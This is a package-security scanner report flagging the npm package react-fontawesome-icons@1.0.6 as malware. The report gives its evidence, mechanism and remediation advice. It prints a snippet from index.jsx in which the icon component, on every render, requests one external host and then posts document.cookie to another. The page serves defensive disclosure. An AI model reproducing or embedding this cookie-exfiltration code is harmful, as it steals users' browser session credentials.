registry / Credential exfiltration / react-fontawesome-icons
react-fontawesome-icons
Font Awesome React component using SVG with JS
This report shows the evidence for react-fontawesome-icons@1.0.6. 6 of 7 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect inspection confirms default runtime cookie exfiltration unrelated to icon rendering. No install hook is needed for this concrete malicious behavior.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Import and render FontAwesomeIcon.
Impact
The package can exfiltrate browser session cookies.
Mechanism
Axios GET followed by POST of document.cookie.
Attack narrative
The component executes Axios requests during render. After a GET to command.control, it POSTs document.cookie to commad.control/404, exposing browser session credentials to an external receiver.
AI rationale
Direct inspection confirms default runtime cookie exfiltration unrelated to icon rendering. No install hook is needed for this concrete malicious behavior.
Evidence
package.jsonindex.jsx
Network endpoints2
command.controlcommad.control/404
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- index.jsx sends document.cookie to http://commad.control/404.
- index.jsx fetches http://command.control before exfiltration.
- Network calls run whenever the exported React component renders.
- Misleading “nothing harmful” comment accompanies the behavior.
Evidence against
- package.json has no lifecycle scripts.
- No other package files were present.
Behavioral surface
Network
UrlStrings
Source & flagged code
1 flagged · loading sourceindex.jsxView file
•Browser cookie sent to a fixed external endpoint in index.jsx:
const c2c = `http://commad.control/404`;
axios.get('http://command.control').then(() => {
axios.post(c2c, { stat: {}, c: document.cookie }).then(() => {
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
index.jsxView on unpkgFindings
1 Critical1 Medium2 Low
CriticalHardcoded Runtime Data Exfiltrationindex.jsx
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to react-fontawesome-icons@1.0.6.
The versions list below shows the verdict for each recorded version.
- Avoid installing react-fontawesome-icons@1.0.6. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.